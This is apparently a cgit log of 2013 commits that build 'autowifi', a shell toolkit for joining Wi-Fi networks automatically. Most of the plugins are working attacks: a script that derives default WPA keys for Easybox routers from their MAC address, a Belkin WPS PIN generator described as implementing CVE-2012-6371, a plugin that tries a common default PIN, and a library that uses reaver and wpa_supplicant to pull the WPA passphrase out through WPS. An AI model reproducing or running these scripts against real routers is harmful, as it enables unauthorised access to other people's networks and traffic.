From 0ee9d729554c7ceb40a962a18eb6d64a1c962338 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 21:28:01 +0200 Subject: now with easybox module --- usr/lib/autowifi/easybox | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100755 usr/lib/autowifi/easybox (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/easybox b/usr/lib/autowifi/easybox new file mode 100755 index 00000000..e5323977 --- /dev/null +++ b/usr/lib/autowifi/easybox @@ -0,0 +1,38 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if ! echo $1 | grep -qi Easybox; then + exit 1 +else + MAC=${2?\$2 must be MAC} + + # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + + take5=${MAC:12} + last4=${take5/:/} + + # Fill up to 4 places with zeros, if necessary: + deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') + #echo M4: ${deci[@]} + # + # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: + hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + #echo 'M4 (Hex): ' ${hexi[@]} + # K1 = last byte of (d0 + d1 + h2 + h3) + # K2 = last byte of (h0 + h1 + d2 + d3) + c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) + c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) + K1=$((($c1)%16)) + K2=$((($c2)%16)) + #printf "K1: %x\n" $K1 + #printf "K2: %x\n" $K2 + X1=$((K1^${deci:6:1})) + X2=$((K1^${deci:4:1})) + X3=$((K1^${deci:2:1})) + Y1=$((K2^0x${hexi:2:1})) + Y2=$((K2^0x${hexi:4:1})) + Y3=$((K2^0x${hexi:6:1})) + Z1=$((0x${hexi:4:1}^${deci:6:1})) + Z2=$((0x${hexi:6:1}^${deci:4:1})) + Z3=$((K1^K2)) + printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F +fi -- cgit v1.2.3 From 631986deaf81a4641578d1d878f66d2e1a622396 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 13:24:52 +0200 Subject: new profiles & autowifi --- usr/lib/autowifi/00profile | 9 +++++++++ usr/lib/autowifi/01open | 5 +++++ 2 files changed, 14 insertions(+) create mode 100755 usr/lib/autowifi/00profile create mode 100755 usr/lib/autowifi/01open (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/00profile b/usr/lib/autowifi/00profile new file mode 100755 index 00000000..4d2a9a82 --- /dev/null +++ b/usr/lib/autowifi/00profile @@ -0,0 +1,9 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +cat /etc/autowifi/wifi_keys | while IFS='|' read SSID MAC KEY; do + if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then + echo $KEY + exit 0 + fi +done +exit 1 diff --git a/usr/lib/autowifi/01open b/usr/lib/autowifi/01open new file mode 100755 index 00000000..da94cc98 --- /dev/null +++ b/usr/lib/autowifi/01open @@ -0,0 +1,5 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if ! [ "$4" == "none" ]; then + exit 1 +fi -- cgit v1.2.3 From e28ab86654d9f70ea055929ae37d040783d4af9a Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 15:05:22 +0200 Subject: lots of stuff --- usr/lib/autowifi/01open | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/01open b/usr/lib/autowifi/01open index da94cc98..f3b9640c 100755 --- a/usr/lib/autowifi/01open +++ b/usr/lib/autowifi/01open @@ -1,5 +1,6 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! [ "$4" == "none" ]; then - exit 1 +if [ "$4" == "off" ]; then + exit 0 fi +exit 1 -- cgit v1.2.3 From 3e470a16a125aea2b77388db8bf9758190f5b881 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:21:06 +0200 Subject: now working profile managment --- usr/lib/autowifi/00profile | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/00profile b/usr/lib/autowifi/00profile index 4d2a9a82..fe42470b 100755 --- a/usr/lib/autowifi/00profile +++ b/usr/lib/autowifi/00profile @@ -1,9 +1,8 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -cat /etc/autowifi/wifi_keys | while IFS='|' read SSID MAC KEY; do +cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then echo $KEY exit 0 fi -done -exit 1 +done; exit 1) -- cgit v1.2.3 From ed73fba46289f4af60422b2d267ba40834ca97ca Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 25 May 2013 20:50:49 +0200 Subject: add plugins folder --- usr/lib/autowifi/00profile | 8 -------- usr/lib/autowifi/01open | 6 ------ usr/lib/autowifi/easybox | 38 -------------------------------------- usr/lib/autowifi/plugins/00profile | 8 ++++++++ usr/lib/autowifi/plugins/01open | 6 ++++++ usr/lib/autowifi/plugins/02easybox | 38 ++++++++++++++++++++++++++++++++++++++ 6 files changed, 52 insertions(+), 52 deletions(-) delete mode 100755 usr/lib/autowifi/00profile delete mode 100755 usr/lib/autowifi/01open delete mode 100755 usr/lib/autowifi/easybox create mode 100755 usr/lib/autowifi/plugins/00profile create mode 100755 usr/lib/autowifi/plugins/01open create mode 100755 usr/lib/autowifi/plugins/02easybox (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/00profile b/usr/lib/autowifi/00profile deleted file mode 100755 index fe42470b..00000000 --- a/usr/lib/autowifi/00profile +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do - if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then - echo $KEY - exit 0 - fi -done; exit 1) diff --git a/usr/lib/autowifi/01open b/usr/lib/autowifi/01open deleted file mode 100755 index f3b9640c..00000000 --- a/usr/lib/autowifi/01open +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if [ "$4" == "off" ]; then - exit 0 -fi -exit 1 diff --git a/usr/lib/autowifi/easybox b/usr/lib/autowifi/easybox deleted file mode 100755 index e5323977..00000000 --- a/usr/lib/autowifi/easybox +++ /dev/null @@ -1,38 +0,0 @@ -#!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! echo $1 | grep -qi Easybox; then - exit 1 -else - MAC=${2?\$2 must be MAC} - - # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. - - take5=${MAC:12} - last4=${take5/:/} - - # Fill up to 4 places with zeros, if necessary: - deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') - #echo M4: ${deci[@]} - # - # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: - hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') - #echo 'M4 (Hex): ' ${hexi[@]} - # K1 = last byte of (d0 + d1 + h2 + h3) - # K2 = last byte of (h0 + h1 + d2 + d3) - c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) - c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) - K1=$((($c1)%16)) - K2=$((($c2)%16)) - #printf "K1: %x\n" $K1 - #printf "K2: %x\n" $K2 - X1=$((K1^${deci:6:1})) - X2=$((K1^${deci:4:1})) - X3=$((K1^${deci:2:1})) - Y1=$((K2^0x${hexi:2:1})) - Y2=$((K2^0x${hexi:4:1})) - Y3=$((K2^0x${hexi:6:1})) - Z1=$((0x${hexi:4:1}^${deci:6:1})) - Z2=$((0x${hexi:6:1}^${deci:4:1})) - Z3=$((K1^K2)) - printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F -fi diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile new file mode 100755 index 00000000..fe42470b --- /dev/null +++ b/usr/lib/autowifi/plugins/00profile @@ -0,0 +1,8 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do + if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then + echo $KEY + exit 0 + fi +done; exit 1) diff --git a/usr/lib/autowifi/plugins/01open b/usr/lib/autowifi/plugins/01open new file mode 100755 index 00000000..f3b9640c --- /dev/null +++ b/usr/lib/autowifi/plugins/01open @@ -0,0 +1,6 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if [ "$4" == "off" ]; then + exit 0 +fi +exit 1 diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox new file mode 100755 index 00000000..e5323977 --- /dev/null +++ b/usr/lib/autowifi/plugins/02easybox @@ -0,0 +1,38 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if ! echo $1 | grep -qi Easybox; then + exit 1 +else + MAC=${2?\$2 must be MAC} + + # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + + take5=${MAC:12} + last4=${take5/:/} + + # Fill up to 4 places with zeros, if necessary: + deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') + #echo M4: ${deci[@]} + # + # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: + hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + #echo 'M4 (Hex): ' ${hexi[@]} + # K1 = last byte of (d0 + d1 + h2 + h3) + # K2 = last byte of (h0 + h1 + d2 + d3) + c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) + c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) + K1=$((($c1)%16)) + K2=$((($c2)%16)) + #printf "K1: %x\n" $K1 + #printf "K2: %x\n" $K2 + X1=$((K1^${deci:6:1})) + X2=$((K1^${deci:4:1})) + X3=$((K1^${deci:2:1})) + Y1=$((K2^0x${hexi:2:1})) + Y2=$((K2^0x${hexi:4:1})) + Y3=$((K2^0x${hexi:6:1})) + Z1=$((0x${hexi:4:1}^${deci:6:1})) + Z2=$((0x${hexi:6:1}^${deci:4:1})) + Z3=$((K1^K2)) + printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F +fi -- cgit v1.2.3 From 4fa3206a16921d0a7984b0dcd5ca9086786a31cf Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 25 May 2013 22:48:24 +0200 Subject: refactor functions for reusability --- usr/lib/autowifi/lib/iwlist | 55 ++++++++++++++++++++++++++++++++++++++++++++ usr/lib/autowifi/lib/network | 12 ++++++++++ usr/lib/autowifi/lib/openwrt | 18 +++++++++++++++ usr/lib/autowifi/lib/wps | 21 +++++++++++++++++ 4 files changed, 106 insertions(+) create mode 100644 usr/lib/autowifi/lib/iwlist create mode 100644 usr/lib/autowifi/lib/network create mode 100644 usr/lib/autowifi/lib/openwrt create mode 100644 usr/lib/autowifi/lib/wps (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/iwlist b/usr/lib/autowifi/lib/iwlist new file mode 100644 index 00000000..a9f77f0c --- /dev/null +++ b/usr/lib/autowifi/lib/iwlist @@ -0,0 +1,55 @@ +#!/bin/sh + +print_iwlist_env(){ + # takes environment: + # count + # MAC + # CHANNEL + # QUALITY + # ENCRYPTION + # ESSID + # WPA + # WPA2 + for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do + eval echo ${i}_${count}=\$${i} + done +} + +iwlist_scan(){ + # usage: iwlist_scan $wifi-itf + ifconfig $wifi up + + count=0 + + iwlist ${1:-} scan 2>/dev/null | ( while read line; + do + case "$line" in + *"Cell "*) + [ $count -eq 0 ] || print_iwlist_env + WPA=0 + WPA2=0 + : $((count+=1)) + MAC="${line#*Address: }" + ;; + *Channel:*) + CHANNEL="${line#*:}" + ;; + *Quality=*) + QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + ;; + *"Encryption key:"*) + ENCRYPTION="${line#*key:}" + ;; + *ESSID:*) + ESSID="${line#*ESSID:}" + ;; + *"IE: IEEE 802.11i/WPA2"*) + WPA2=1 + ;; + *"IE: WPA Version 1"*) + WPA=1 + ;; + *);; + esac + done; print_iwlist_env ;echo WIFI_COUNT=$count) +} diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network new file mode 100644 index 00000000..fd2eb6a9 --- /dev/null +++ b/usr/lib/autowifi/lib/network @@ -0,0 +1,12 @@ +#!/bin/sh +check_gateway(){ + ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') +} +check_internet(){ + secret=$(wget -O- http://euer.krebsco.de/secret) + if [ "$secret" == "1337" ]; then + return 0 + else + return 1 + fi +} diff --git a/usr/lib/autowifi/lib/openwrt b/usr/lib/autowifi/lib/openwrt new file mode 100644 index 00000000..3483c1fe --- /dev/null +++ b/usr/lib/autowifi/lib/openwrt @@ -0,0 +1,18 @@ +#!/bin/sh +connect_wifi(){ + # channel ssid encryption key + uci set wireless.${iface}.mode=sta + + ifconfig $wifi up + uci set wireless.${radio}.channel=$1 + uci set "wireless.${iface}.ssid=$2" + if [ $3 == "none" ] ; then + uci set wireless.${iface}.encryption=none + uci -q delete wireless.${iface}.key + else + uci set "wireless.${iface}.key=$4" + uci set wireless.${iface}.encryption=$3 + fi + uci commit wireless + wifi up +} diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps new file mode 100644 index 00000000..0fdba0f5 --- /dev/null +++ b/usr/lib/autowifi/lib/wps @@ -0,0 +1,21 @@ +#!/bin/sh + +try_wps_pin(){ + # + # ESSID MAC CHANNEL ENC WPA WPA2 PIN + #set -ef + ESSID="$1" + MAC="$2" + CHANNEL="$3" + ENC="$4" + WPA="$5" + WPA2="$6" + PIN="$7" + + [ "$ENC" == off ] && return 2 + + airmon-ng start ${WIFI:-wlan0} $CHANNEL + sleep 1 + reaver -i mon0 -b $MAC -vv -p "$PIN" -f -c $CHANNEL || : + airmon-ng stop mon0 +} -- cgit v1.2.3 From 9bee05500405e0418876406d3dc64beca044667e Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 11:20:17 +0200 Subject: add wps, nonworking --- usr/lib/autowifi/lib/wps | 44 ++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 40 insertions(+), 4 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps index 0fdba0f5..7fd38a26 100644 --- a/usr/lib/autowifi/lib/wps +++ b/usr/lib/autowifi/lib/wps @@ -13,9 +13,45 @@ try_wps_pin(){ PIN="$7" [ "$ENC" == off ] && return 2 + WPA_CONF=/tmp/wpa.conf + WPA_LOG=/tmp/wpa.log + rm $WPA_LOG + #mkfifo $WPA_LOG + killall wpa_supplicant && sleep 1 + + cat > $WPA_CONF < Date: Sun, 26 May 2013 14:06:53 +0200 Subject: add belkin WPS plugin --- usr/lib/autowifi/lib/wps | 16 ++++++++---- usr/lib/autowifi/plugins/11belkin_wps | 48 +++++++++++++++++++++++++++++++++++ 2 files changed, 59 insertions(+), 5 deletions(-) create mode 100755 usr/lib/autowifi/plugins/11belkin_wps (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps index 7fd38a26..8afd5b05 100644 --- a/usr/lib/autowifi/lib/wps +++ b/usr/lib/autowifi/lib/wps @@ -35,17 +35,23 @@ EOF #*"WPA: Key negotiation completed"*) # association failed # exit 1 ;; + if ( tail -f $WPA_LOG & echo "TAILPID: $!" )| while read line ; do + bye(){ + kill -HUP $TAILPID + exit $1 + } + echo $line case "$line" in - TAILPID:*)IFS=" " set -- $line; TAILPID=$2;; + TAILPID:*)IFS=" " set -- $line; TAILPID=$2;; + *"WPS-FAIL msg=10 config_error=18"*) bye 1 ;; # wrong pin + *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1;; # rate limiting *CTRL-EVENT-DISCONNECTED*):;; - *CTRL-EVENT-CONNECTED*) - kill -HUP $TAILPID - exit 0;; + *CTRL-EVENT-CONNECTED*) bye 0;; #yay connected esac done ; then - echo "Connected!" + #echo "Connected!" sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' $WPA_CONF return 0 else diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps new file mode 100755 index 00000000..93dd447a --- /dev/null +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -0,0 +1,48 @@ +#!/bin/sh +# thanks to http://ednolo.alumnos.upv.es/?p=1295G +# for the PoC code +# Calculates the default WPS pin of Belkin Routers and returns the WPA key +# +# Implementation of CVE-2012-6371 + +# works : +# Belkin_N+_XXXXXX 00:22:75:XX:XX:XX F5D8235-4 v1000 +# belkin.XXX 00:1C:DF:XX:XX:XX F5D8231-4 v5000 +# belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000 + +cd $(dirname $(readlink -f $0)) +. ../lib/core +. ../lib/wps +parse_args $@ + +MAC=$(printf "%s" $2| sed 's/://g') +if [ ${#MAC} -ne 12 ] ;then + echo "MAC malformed" + exit 1 +fi +VENDOR_MAC=${MAC:0:6} +PRIVATE_MAC=${MAC:6:12} +if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then + echo "VENDOR MAC $VENDOR_MAC not affected" + exit 1 +fi + +calc_belkin(){ + PRIVATE_MAC=${1} + + p=$((0x$PRIVATE_MAC % 10000000)) + wps_pin_checksum(){ + pin=$1 + accum=0 + while [ $pin -ne 0 ];do + accum=$((accum + (3 * (pin % 10)) )) + pin=$((pin/10)) + accum=$((accum + pin %10 )) + pin=$((pin/10)) + done + echo $(( (10 - accum % 10) % 10)) + } + printf "%07d%d" $p $(wps_pin_checksum $p) + return 0 +} +try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC}) -- cgit v1.2.3 From 55d6402ac5307af7490a6c6d0607c2b20c68afa4 Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:09:11 +0200 Subject: update parser --- usr/lib/autowifi/lib/core | 9 +++++++++ usr/lib/autowifi/plugins/11belkin_wps | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) create mode 100644 usr/lib/autowifi/lib/core (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/core b/usr/lib/autowifi/lib/core new file mode 100644 index 00000000..f41de225 --- /dev/null +++ b/usr/lib/autowifi/lib/core @@ -0,0 +1,9 @@ +parse_plugin_args(){ + # convenience function to put args in ENV variables + ESSID="$1" + MAC="$2" + CHANNEL="$3" + ENC="$4" + WPA="$5" + WPA2="$6" +} diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 93dd447a..3820cf2e 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -13,7 +13,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/core . ../lib/wps -parse_args $@ +parse_plugin_args $@ MAC=$(printf "%s" $2| sed 's/://g') if [ ${#MAC} -ne 12 ] ;then -- cgit v1.2.3 From d42681fb63901254700cfbb35116cbdca9945463 Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:23:38 +0200 Subject: update 10default_wps --- usr/lib/autowifi/plugins/10default_wps | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100755 usr/lib/autowifi/plugins/10default_wps (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/10default_wps b/usr/lib/autowifi/plugins/10default_wps new file mode 100755 index 00000000..cd87bc11 --- /dev/null +++ b/usr/lib/autowifi/plugins/10default_wps @@ -0,0 +1,6 @@ +#!/bin/sh +# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot +# http://www.wotan.cc/?p=75 +cd $(dirname $(readlink -f $0)) +. ../lib/wps +try_wps_pin $@ 12345671 -- cgit v1.2.3 From 91b2ec7821796c75bb3a56df951c6734d41a26bb Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:41:01 +0200 Subject: cleanup and usage for plugins --- usr/lib/autowifi/lib/core | 9 --------- usr/lib/autowifi/lib/plugin_core | 26 ++++++++++++++++++++++++++ usr/lib/autowifi/plugins/11belkin_wps | 8 ++------ 3 files changed, 28 insertions(+), 15 deletions(-) delete mode 100644 usr/lib/autowifi/lib/core create mode 100644 usr/lib/autowifi/lib/plugin_core (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/core b/usr/lib/autowifi/lib/core deleted file mode 100644 index f41de225..00000000 --- a/usr/lib/autowifi/lib/core +++ /dev/null @@ -1,9 +0,0 @@ -parse_plugin_args(){ - # convenience function to put args in ENV variables - ESSID="$1" - MAC="$2" - CHANNEL="$3" - ENC="$4" - WPA="$5" - WPA2="$6" -} diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core new file mode 100644 index 00000000..025d9dbd --- /dev/null +++ b/usr/lib/autowifi/lib/plugin_core @@ -0,0 +1,26 @@ +parse_plugin_args(){ + [ $# -ne 6 ] && plugin_usage && exit 1 + # convenience function to put args in ENV variables + ESSID="$1" + MAC="$2" + CHANNEL="$3" + ENC="$4" + WPA="$5" + WPA2="$6" + if [ ${#MAC} -ne 17 ] ;then + echo "MAC malformed" + exit 1 + fi +} +plugin_usage(){ + cat << EOF +usage: $0 ESSID MAC CHANNEL ENC WPA WPA2" + + ESSID - string + MAC - 00:11:22:33:44:55 + ENC - on | off + WPA - 0 | 1 + WPA2 - 0 | 1 +EOF + +} diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 3820cf2e..1dba7377 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -11,15 +11,11 @@ # belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000 cd $(dirname $(readlink -f $0)) -. ../lib/core +. ../lib/plugin_core . ../lib/wps parse_plugin_args $@ -MAC=$(printf "%s" $2| sed 's/://g') -if [ ${#MAC} -ne 12 ] ;then - echo "MAC malformed" - exit 1 -fi +MAC=$(printf "%s" $MAC| sed 's/://g') VENDOR_MAC=${MAC:0:6} PRIVATE_MAC=${MAC:6:12} if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then -- cgit v1.2.3 From 3b3ad99602dbb7e03186c33c045774147b06da8b Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:36:46 +0200 Subject: add timeout for wpa_supplicant --- usr/lib/autowifi/lib/wps | 50 ++++++++++++++++++++++++++++++++---------------- 1 file changed, 33 insertions(+), 17 deletions(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps index 8afd5b05..668bbbff 100644 --- a/usr/lib/autowifi/lib/wps +++ b/usr/lib/autowifi/lib/wps @@ -17,47 +17,63 @@ try_wps_pin(){ WPA_LOG=/tmp/wpa.log rm $WPA_LOG #mkfifo $WPA_LOG - killall wpa_supplicant && sleep 1 + killall wpa_supplicant 2>/dev/null && sleep 1 cat > $WPA_CONF <&1 & + WPA_PID=$! sleep 2 if !(sudo wpa_cli wps_reg $MAC $PIN | grep -q OK) ;then echo "wpa_cli wps_reg failed, bailing out!" return 1 fi - WPA_PID=$! - #*"WPA: Key negotiation completed"*) # association failed # exit 1 ;; + # TODO probably not posix compatible... + timeout(){ + ( timeout=10; + while [ $timeout -gt 0 ]; do + sleep 1; + kill -0 $$ 2> /dev/null || exit 0; + : $((timeout--)); + done ; + echo "TIMEOUT REACHED" ; + kill $$)& + exec $@ + } - if ( tail -f $WPA_LOG & echo "TAILPID: $!" )| while read line ; do + if ( timeout tail -f $WPA_LOG & echo "TAILPID: $!") | while read line ; do bye(){ + printf "%s:" "$2" >&2 + kill $WPA_PID kill -HUP $TAILPID exit $1 } - echo $line + # DEBUG + #echo $line >&2 case "$line" in TAILPID:*)IFS=" " set -- $line; TAILPID=$2;; - *"WPS-FAIL msg=10 config_error=18"*) bye 1 ;; # wrong pin - *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1;; # rate limiting - *CTRL-EVENT-DISCONNECTED*):;; - *CTRL-EVENT-CONNECTED*) bye 0;; #yay connected - + *"WPS-FAIL msg=10 config_error=18"*) bye 1 "wrong pin";; + *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1 "rate limiting";; + #*"Association request to the driver failed") bye 1 "wps not available";; + #*CTRL-EVENT-DISCONNECTED*):;; + *"CTRL-EVENT-DISCONNECTED bssid="*"reason=3 locally_generated=1"*)bye 1 "authentication failed, wps deactivated?";; + "TIMEOUT REACHED")bye 1 "timeout reached";; + *CTRL-EVENT-TERMINATING*) bye 1 "wpa_supplicant died";; + *CTRL-EVENT-CONNECTED*) bye 0 "yay connected";; esac done ; then - #echo "Connected!" - sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' $WPA_CONF - return 0 + #echo "Connected!" + sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' "$WPA_CONF" + return 0 else - echo "failed!" - return 1 + #echo "failed!" + return 1 fi - kill $WPA_PID } -- cgit v1.2.3 From b292dfe3dea7affa29e526c1328613f6e5ca8ed4 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:37:39 +0200 Subject: move default_wps to back --- usr/lib/autowifi/plugins/10default_wps | 6 ------ usr/lib/autowifi/plugins/30default_wps | 6 ++++++ 2 files changed, 6 insertions(+), 6 deletions(-) delete mode 100755 usr/lib/autowifi/plugins/10default_wps create mode 100755 usr/lib/autowifi/plugins/30default_wps (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/10default_wps b/usr/lib/autowifi/plugins/10default_wps deleted file mode 100755 index cd87bc11..00000000 --- a/usr/lib/autowifi/plugins/10default_wps +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh -# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot -# http://www.wotan.cc/?p=75 -cd $(dirname $(readlink -f $0)) -. ../lib/wps -try_wps_pin $@ 12345671 diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps new file mode 100755 index 00000000..98be6a66 --- /dev/null +++ b/usr/lib/autowifi/plugins/30default_wps @@ -0,0 +1,6 @@ +#!/bin/sh +# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot +# http://www.wotan.cc/?p=75 +cd $(dirname $(readlink -f $0)) +. ../lib/wps +try_wps_pin "$@" 12345670 -- cgit v1.2.3 From abaa9eaccbfd4517df7a92c251818383ed752caf Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:38:06 +0200 Subject: 00profile takes root env param --- usr/lib/autowifi/plugins/00profile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile index fe42470b..fdba2c9e 100755 --- a/usr/lib/autowifi/plugins/00profile +++ b/usr/lib/autowifi/plugins/00profile @@ -1,6 +1,9 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do +# ENV: +# root (default: /) +root=${root:-/} +cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC KEY; do if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then echo $KEY exit 0 -- cgit v1.2.3 From d0e92e7aa1ece7bbccedafbb1730b80c76424f07 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:38:52 +0200 Subject: fix bug in 11belkin_wps whitespace in essid --- usr/lib/autowifi/plugins/11belkin_wps | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi') diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 1dba7377..82140523 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -13,7 +13,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/plugin_core . ../lib/wps -parse_plugin_args $@ +parse_plugin_args "$@" MAC=$(printf "%s" $MAC| sed 's/://g') VENDOR_MAC=${MAC:0:6} -- cgit v1.2.3 From 5c603b50b12c253658cf9911a92c046e302b8696 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:46:47 +0200 